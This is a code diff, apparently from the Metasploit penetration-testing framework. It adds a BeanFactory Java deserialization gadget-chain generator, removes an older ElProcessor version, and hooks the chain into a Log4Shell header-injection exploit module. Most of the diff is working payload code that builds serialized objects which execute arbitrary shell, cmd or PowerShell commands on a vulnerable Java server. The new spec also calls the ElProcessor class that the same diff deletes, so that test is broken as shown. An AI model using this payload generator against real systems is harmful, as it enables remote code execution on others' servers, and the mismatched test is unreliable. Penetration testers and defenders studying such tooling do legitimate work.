diff --git a/lib/msf/core/exploit/java_deserialization.rb b/lib/msf/core/exploit/java_deserialization.rb index f3f85d15d3..9ec2f105be 100644 --- a/lib/msf/core/exploit/java_deserialization.rb +++ b/lib/msf/core/exploit/java_deserialization.rb @@ -23,7 +23,13 @@ module Exploit::JavaDeserialization raise RuntimeError, 'Invalid shell for Java Deserialization payload generation' end - Msf::Util::JavaDeserialization.ysoserial_payload(name, command, modified_type: shell) + if name == 'BeanFactory' + blob = Msf::Util::JavaDeserialization::BeanFactory.generate(command, shell: shell) + else + blob = Msf::Util::JavaDeserialization.ysoserial_payload(name, command, modified_type: shell) + end + + blob end # Generate a binary blob that when deserialized by Java will execute the specified payload. This routine converts the @@ -60,5 +66,11 @@ module Exploit::JavaDeserialization generate_java_deserialization_for_command(name, shell, command) end + def self.gadget_chains + chains = Msf::Util::JavaDeserialization.ysoserial_payload_names + chains << 'BeanFactory' # not a ysoserial payload, but still supported + chains.sort + end + end end diff --git a/lib/msf/util/java_deserialization/bean_factory.rb b/lib/msf/util/java_deserialization/bean_factory.rb new file mode 100644 index 0000000000..648fc794d7 --- /dev/null +++ b/lib/msf/util/java_deserialization/bean_factory.rb @@ -0,0 +1,186 @@ +# -*- coding: binary -*- + +require 'stringio' +require 'rex/java' + +module Msf +module Util +class JavaDeserialization + class BeanFactory + + def self.generate(cmd, shell: nil) + js_escaped = "String.fromCharCode(#{cmd.each_char.map(&:ord).map(&:to_s).join(',')})" + + # emulate the same behavior as the ysoserial-modified series, + # see: https://github.com/pimps/ysoserial-modified/blob/1bd423d30ae87074f94d6b9b687c17162f122c3d/src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java#L11 + payload_string = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec(" + case shell + when 'cmd' + payload_string << "[\\\"cmd.exe\\\",\\\"/c\\\",#{js_escaped}]" + when 'bash' + payload_string << "[\\\"/bin/bash\\\",\\\"-c\\\",#{js_escaped}]" + when 'powershell' + payload_string << "[\\\"powershell.exe\\\",\\\"-c\\\",#{js_escaped}]" + when nil + payload_string << js_escaped + else + raise NotImplementedError, "unsupported shell: #{shell.inspect}" + end + payload_string << ")\")}" + + builder = Rex::Java::Serialization::Builder.new + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [ + builder.new_object( + name: 'org.apache.naming.ResourceRef', + serial: 1, + flags: 2, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + super_class: builder.new_class( + name: 'org.apache.naming.AbstractRef', + serial: 1, + flags: 2, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + super_class: builder.new_class( + name: 'javax.naming.Reference', + serial: 16773268283643759881, + flags: 2, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + ).tap { |new_class| + new_class.fields = [ + new_field(name: 'addrs', field_type: 'Ljava/util/Vector;'), + new_field(name: 'classFactory', field_type: 'Ljava/lang/String;'), + new_field(name: 'classFactoryLocation', field_type: new_ref(handle: 8257540)), + new_field(name: 'className', field_type: new_ref(handle: 8257540)) + ] + }, + ), + data: [ + builder.new_object( + name: 'java.util.Vector', + serial: 15679138459660562177, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + data: [ + ['int', 0], + ['int', 5], + # stream.contents.first.class_data[0].class_data[2] + builder.new_array( + values_type: 'java.lang.Object;', + name: '[Ljava.lang.Object;', + serial: 10434374826863044972, + flags: 2, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + # stream.contents.first.class_data[0].class_data[2].values + values: [ + # stream.contents.first.class_data[0].class_data[2].values[0] + builder.new_object( + name: 'javax.naming.StringRefAddr', + serial: 9532981578571046089, + flags: 2, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + super_class: builder.new_class( + name: 'javax.naming.RefAddr', + serial: 16978578953230397258, + flags: 2, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + ).tap { |new_class| + new_class.fields = [ + new_field(name: 'addrType', field_type: new_ref(handle: 8257540)) + ] + }, + data: [ + Rex::Java::Serialization::Model::Utf.new(stream, 'scope'), + Rex::Java::Serialization::Model::Utf.new(stream) + ] + ).tap { |new_object| + new_object.class_desc.description.fields = [ + new_field(name: 'contents', field_type: new_ref(handle: 8257540)) + ] + }, + # stream.contents.first.class_data[0].class_data[2].values[1] + builder.new_object( + description: new_ref(handle: 8257547), + data: [ + Rex::Java::Serialization::Model::Utf.new(stream, 'auth'), + new_ref(handle: 8257551) + ] + ), + builder.new_object( + description: new_ref(handle: 8257547), + data: [ + Rex::Java::Serialization::Model::Utf.new(stream, 'singleton'), + Rex::Java::Serialization::Model::Utf.new(stream, 'true'), + ] + ), + # stream.contents.first.class_data[0].class_data[2].values[3] + builder.new_object( + description: new_ref(handle: 8257547), + data: [ + Rex::Java::Serialization::Model::Utf.new(stream, 'forceString'), + Rex::Java::Serialization::Model::Utf.new(stream, 'x=eval'), + ] + ), + # stream.contents.first.class_data[0].class_data[2].values[4] + builder.new_object( + description: new_ref(handle: 8257547), + data: [ + Rex::Java::Serialization::Model::Utf.new(stream, 'x'), + Rex::Java::Serialization::Model::Utf.new(stream, payload_string), + ] + ), + # stream.contents.first.class_data[0].class_data[2].values[5] + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::NullReference.new, + ] + ) + ] + ).tap { |new_object| + new_object.class_desc.description.fields = [ + new_field(type: 'int', name: 'capacityIncrement'), + new_field(type: 'int', name: 'elementCount'), + new_field(type: 'array', name: 'elementData', field_type: '[Ljava/lang/Object;') + ] + }, + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::Utf.new(stream, 'org.apache.naming.factory.BeanFactory'), + Rex::Java::Serialization::Model::NullReference.new + ] + ), + Rex::Java::Serialization::Model::Utf.new(stream, 'javax.el.ELProcessor') + ] + stream.encode + end + + class << self + private + # helper methods that are not in Rex::Java::Serialization::Builder + def new_field(opts = {}) + name = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:name]) + if opts[:field_type].is_a? String + field_type = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:field_type]) + else + field_type = opts[:field_type] + end + + field = Rex::Java::Serialization::Model::Field.new + field.type = opts[:type] || 'object' + field.name = name + field.field_type = field_type + field + end + + def new_ref(opts = {}) + ref = Rex::Java::Serialization::Model::Reference.new(opts[:stream]) + ref.handle = opts[:handle] + + ref + end + end + end +end +end +end diff --git a/lib/msf/util/java_deserialization/el_processor.rb b/lib/msf/util/java_deserialization/el_processor.rb deleted file mode 100644 index 4b3fb4feb9..0000000000 --- a/lib/msf/util/java_deserialization/el_processor.rb +++ /dev/null @@ -1,287 +0,0 @@ -# -*- coding: binary -*- - -require 'stringio' -require 'rex/java' - -module Msf -module Util -class JavaDeserialization - class ElProcessor - - def self.generate(cmd, shell: nil) - js_escaped = "String.fromCharCode(#{cmd.each_char.map(&:ord).map(&:to_s).join(',')})" - - # emulate the same behavior as the ysoserial-modified series, - # see: https://github.com/pimps/ysoserial-modified/blob/1bd423d30ae87074f94d6b9b687c17162f122c3d/src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java#L11 - payload_string = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec(" - case shell - when 'cmd' - payload_string << "[\\\"cmd.exe\\\",\\\"/c\\\",#{js_escaped}]" - when 'bash' - payload_string << "[\\\"/bin/bash\\\",\\\"-c\\\",#{js_escaped}]" - when 'powershell' - payload_string << "[\\\"powershell.exe\\\",\\\"-c\\\",#{js_escaped}]" - when nil - payload_string << js_escaped - else - raise NotImplementedError, "unsupported shell: #{shell.inspect}" - end - payload_string << ")\")}" - - builder = Rex::Java::Serialization::Builder.new - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents = [ - builder.new_object( - name: 'org.apache.naming.ResourceRef', - serial: 1, - flags: 2, - annotations: [Rex::Java::Serialization::Model::EndBlockData.new], - super_class: builder.new_class( - name: 'org.apache.naming.AbstractRef', - serial: 1, - flags: 2, - annotations: [Rex::Java::Serialization::Model::EndBlockData.new], - super_class: builder.new_class( - name: 'javax.naming.Reference', - serial: 16773268283643759881, - flags: 2, - annotations: [Rex::Java::Serialization::Model::EndBlockData.new], - ).tap { |new_class| - new_class.fields = [ - new_field(stream: stream, name: 'addrs', field_type: 'Ljava/util/Vector;'), - new_field(stream: stream, name: 'classFactory', field_type: 'Ljava/lang/String;'), - new_field(stream: stream, name: 'classFactoryLocation', field_type: new_ref(stream: stream, handle: 8257540)), - new_field(stream: stream, name: 'className', field_type: new_ref(stream: stream, handle: 8257540)) - ] - }, - ), - data: [ - builder.new_object( - name: 'java.util.Vector', - serial: 15679138459660562177, - flags: 3, - annotations: [Rex::Java::Serialization::Model::EndBlockData.new], - data: [ - ['int', 0], - ['int', 5], - # stream.contents.first.class_data[0].class_data[2] - builder.new_array( - values_type: 'java.lang.Object;', - name: '[Ljava.lang.Object;', - serial: 10434374826863044972, - flags: 2, - annotations: [Rex::Java::Serialization::Model::EndBlockData.new], - # stream.contents.first.class_data[0].class_data[2].values - values: [ - # stream.contents.first.class_data[0].class_data[2].values[0] - builder.new_object( - name: 'javax.naming.StringRefAddr', - serial: 9532981578571046089, - flags: 2, - annotations: [Rex::Java::Serialization::Model::EndBlockData.new], - super_class: builder.new_class( - name: 'javax.naming.RefAddr', - serial: 16978578953230397258, - flags: 2, - annotations: [Rex::Java::Serialization::Model::EndBlockData.new], - ).tap { |new_class| - new_class.fields = [ - new_field(stream: stream, name: 'addrType', field_type: new_ref(stream: stream, handle: 8257540)) - ] - }, - data: [ - Rex::Java::Serialization::Model::Utf.new(stream, 'scope'), - Rex::Java::Serialization::Model::Utf.new(stream) - ] - ).tap { |new_object| - new_object.class_desc.description.fields = [ - new_field(stream: stream, name: 'contents', field_type: new_ref(stream: stream, handle: 8257540)) - ] - }, - # stream.contents.first.class_data[0].class_data[2].values[1] - builder.new_object( - description: new_ref(stream: stream, handle: 8257547), - data: [ - Rex::Java::Serialization::Model::Utf.new(stream, 'auth'), - new_ref(stream: stream, handle: 8257551) - ] - ), - builder.new_object( - description: new_ref(stream: stream, handle: 8257547), - data: [ - Rex::Java::Serialization::Model::Utf.new(stream, 'singleton'), - Rex::Java::Serialization::Model::Utf.new(stream, 'true'), - ] - ), - # stream.contents.first.class_data[0].class_data[2].values[3] - builder.new_object( - description: new_ref(stream: stream, handle: 8257547), - data: [ - Rex::Java::Serialization::Model::Utf.new(stream, 'forceString'), - Rex::Java::Serialization::Model::Utf.new(stream, 'x=eval'), - ] - ), - # stream.contents.first.class_data[0].class_data[2].values[4] - builder.new_object( - description: new_ref(stream: stream, handle: 8257547), - data: [ - Rex::Java::Serialization::Model::Utf.new(stream, 'x'), - Rex::Java::Serialization::Model::Utf.new(stream, payload_string), - ] - ), - # stream.contents.first.class_data[0].class_data[2].values[5] - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::NullReference.new, - ] - ) - ] - ).tap { |new_object| - new_object.class_desc.description.fields = [ - new_field(stream: stream, type: 'int', name: 'capacityIncrement'), - new_field(stream: stream, type: 'int', name: 'elementCount'), - new_field(stream: stream, type: 'array', name: 'elementData', field_type: '[Ljava/lang/Object;') - ] - }, - Rex::Java::Serialization::Model::EndBlockData.new, - Rex::Java::Serialization::Model::Utf.new(stream, 'org.apache.naming.factory.BeanFactory'), - Rex::Java::Serialization::Model::NullReference.new - ] - ), - Rex::Java::Serialization::Model::Utf.new(stream, 'javax.el.ELProcessor') - ] - stream.references = [ - builder.new_class( - name: 'org.apache.naming.ResourceRef', - serial: 1, - annotations: [Rex::Java::Serialization::Model::EndBlockData.new], - super_class: builder.new_class( - name: 'org.apache.naming.AbstractRef', - serial: 1, - flags: 2, - super_class: builder.new_class( - name: 'javax.naming.Reference', - serial: 16773268283643759881, - flags: 2 - ) - ) - ), - builder.new_class( - name: 'org.apache.naming.AbstractRef', - serial: 1, - flags: 2, - super_class: builder.new_class( - name: 'javax.naming.Reference', - serial: 16773268283643759881, - flags: 2 - ) - ), - builder.new_class( - name: 'javax.naming.Reference', - serial: 16773268283643759881, - flags: 2, - ).tap { |new_class| - new_class.fields = [ - new_field(stream: stream, name: 'addrs', field_type: 'Ljava/util/Vector;'), - new_field(stream: stream, name: 'classFactory', field_type: 'Ljava/lang/String;'), - new_field(stream: stream, name: 'classFactoryLocation', field_type: new_ref(stream: stream, handle: 8257540)), - new_field(stream: stream, name: 'className', field_type: new_ref(stream: stream, handle: 8257540)) - ] - }, - Rex::Java::Serialization::Model::Utf.new(stream, 'Ljava/util/Vector;'), - Rex::Java::Serialization::Model::Utf.new(stream, 'Ljava/lang/String;'), - stream.contents[0], - builder.new_class( - name: 'java.util.Vector', - serial: 15679138459660562177, - flags: 3, - ).tap { |new_class| - new_class.fields = [ - new_field(stream: stream, type: 'int', name: 'capacityIncrement'), - new_field(stream: stream, type: 'int', name: 'elementCount'), - new_field(stream: stream, type: 'array', name: 'elementData', field_type: '[Ljava/lang/Object;'), - ] - }, - Rex::Java::Serialization::Model::Utf.new(stream, 'Ljava/lang/Object;'), - stream.contents[0].class_data[0], - builder.new_class( - name: '[Ljava.lang.Object;', - serial: 10434374826863044972, - flags: 2 - ), - stream.contents[0].class_data[0].class_data[2], - builder.new_class( - name: 'javax.naming.StringRefAddr', - serial: 10434374826863044972, - flags: 2, - super_class: builder.new_class( - name: 'javax.naming.RefAddr', - serial: 16978578953230397258, - flags: 2 - ).tap { |new_class| - new_class.fields = [ - new_field(stream: stream, name: 'addrType', field_type: new_ref(stream: stream, handle: 8257540)) - ] - }, - ).tap { |new_class| - new_class.fields = [ - new_field(stream: stream, name: 'contents', field_type: new_ref(stream: stream, handle: 8257540)) - ] - }, - builder.new_class( - name: 'javax.naming.RefAddr', - serial: 16978578953230397258, - flags: 2 - ).tap { |new_class| - new_class.fields = [ - new_field(stream: stream, name: 'addrType', field_type: new_ref(stream: stream, handle: 8257540)) - ] - }, - stream.contents.first.class_data[0].class_data[2].values[0], - Rex::Java::Serialization::Model::Utf.new(stream, 'scope'), - Rex::Java::Serialization::Model::Utf.new(stream, ''), - stream.contents.first.class_data[0].class_data[2].values[1], - stream.contents.first.class_data[0].class_data[2].values[1].class_data[0], - stream.contents.first.class_data[0].class_data[2].values[2], - stream.contents.first.class_data[0].class_data[2].values[2].class_data[0], - stream.contents.first.class_data[0].class_data[2].values[2].class_data[1], - stream.contents.first.class_data[0].class_data[2].values[3], - stream.contents.first.class_data[0].class_data[2].values[3].class_data[0], - stream.contents.first.class_data[0].class_data[2].values[3].class_data[1], - stream.contents.first.class_data[0].class_data[2].values[4], - stream.contents.first.class_data[0].class_data[2].values[4].class_data[0], - stream.contents.first.class_data[0].class_data[2].values[4].class_data[1], - Rex::Java::Serialization::Model::Utf.new(stream, 'org.apache.naming.factory.BeanFactory'), - Rex::Java::Serialization::Model::Utf.new(stream, 'javax.el.ELProcessor') - ] - - stream.encode - end - - def self.new_field(opts = {}) - name = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:name]) - if opts[:field_type].is_a? String - field_type = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:field_type]) - else - field_type = opts[:field_type] - end - - field = Rex::Java::Serialization::Model::Field.new - field.type = opts[:type] || 'object' - field.name = name - field.field_type = field_type - field - end - - def self.new_ref(opts = {}) - ref = Rex::Java::Serialization::Model::Reference.new(opts[:stream]) - ref.handle = opts[:handle] - - ref - end - end -end -end -end diff --git a/modules/exploits/multi/http/log4shell_header_injection.rb b/modules/exploits/multi/http/log4shell_header_injection.rb index bd83ef6401..5e73ae3e7e 100644 --- a/modules/exploits/multi/http/log4shell_header_injection.rb +++ b/modules/exploits/multi/http/log4shell_header_injection.rb @@ -92,8 +92,8 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [ true, 'The URI to scan', '/']), OptString.new('HTTP_HEADER', [ false, 'The HTTP header to inject into' ]), OptEnum.new('JAVA_GADGET_CHAIN', [ - true, 'The ysoserial payload to use for deserialization', 'CommonsBeanutils1', - Msf::Util::JavaDeserialization.ysoserial_payload_names + true, 'The Java gadget chain to use for deserialization', 'CommonsBeanutils1', + Msf::Exploit::JavaDeserialization.gadget_chains ], conditions: %w[TARGET != Automatic]), OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080], conditions: %w[TARGET == Automatic]), OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true]) diff --git a/spec/lib/msf/util/dot_net_deserialization_spec.rb b/spec/lib/msf/util/dot_net_deserialization_spec.rb index b86bfc9692..493f334ffa 100644 --- a/spec/lib/msf/util/dot_net_deserialization_spec.rb +++ b/spec/lib/msf/util/dot_net_deserialization_spec.rb @@ -25,7 +25,7 @@ RSpec.describe Msf::Util::DotNetDeserialization do table.each do |gadget_chain, correct_digest| stream = Msf::Util::DotNetDeserialization.generate(COMMAND, gadget_chain: gadget_chain) expect(stream).to be_kind_of String - real_digest = OpenSSL::Digest::SHA1.digest(stream).each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join + real_digest = OpenSSL::Digest::SHA1.hexdigest(stream) expect(real_digest).to eq correct_digest end end diff --git a/spec/lib/msf/util/java_deserialization/bean_factory_spec.rb b/spec/lib/msf/util/java_deserialization/bean_factory_spec.rb new file mode 100644 index 0000000000..70e863168c --- /dev/null +++ b/spec/lib/msf/util/java_deserialization/bean_factory_spec.rb @@ -0,0 +1,22 @@ +require 'rex' + +RSpec.describe Msf::Util::JavaDeserialization::BeanFactory do + describe '#generate' do + it 'generates correct the gadget chain' do + # this is a quick but important check to ensure consistency of the + # serialized payloads which are deterministic + table = { + 'bash' => '9e66df5e4e57e473e6f78e55cbf95708b3ecdf6b', + 'cmd' => '534cb3b84daf2290e87f7c325dc2aa0adddcd9b5', + 'powershell' => '030fbad1d4fbdc7f49067947273fb295c4a5dc24', + nil => '9a9c678d2073994cec42b1ba74774a345687bcc3' + } + table.each do |shell, correct_digest| + stream = Msf::Util::JavaDeserialization::ElProcessor.generate('ping 127.0.0.1', shell: shell) + expect(stream).to be_kind_of String + real_digest = OpenSSL::Digest::SHA1.hexdigest(stream) + expect(real_digest).to eq correct_digest + end + end + end +end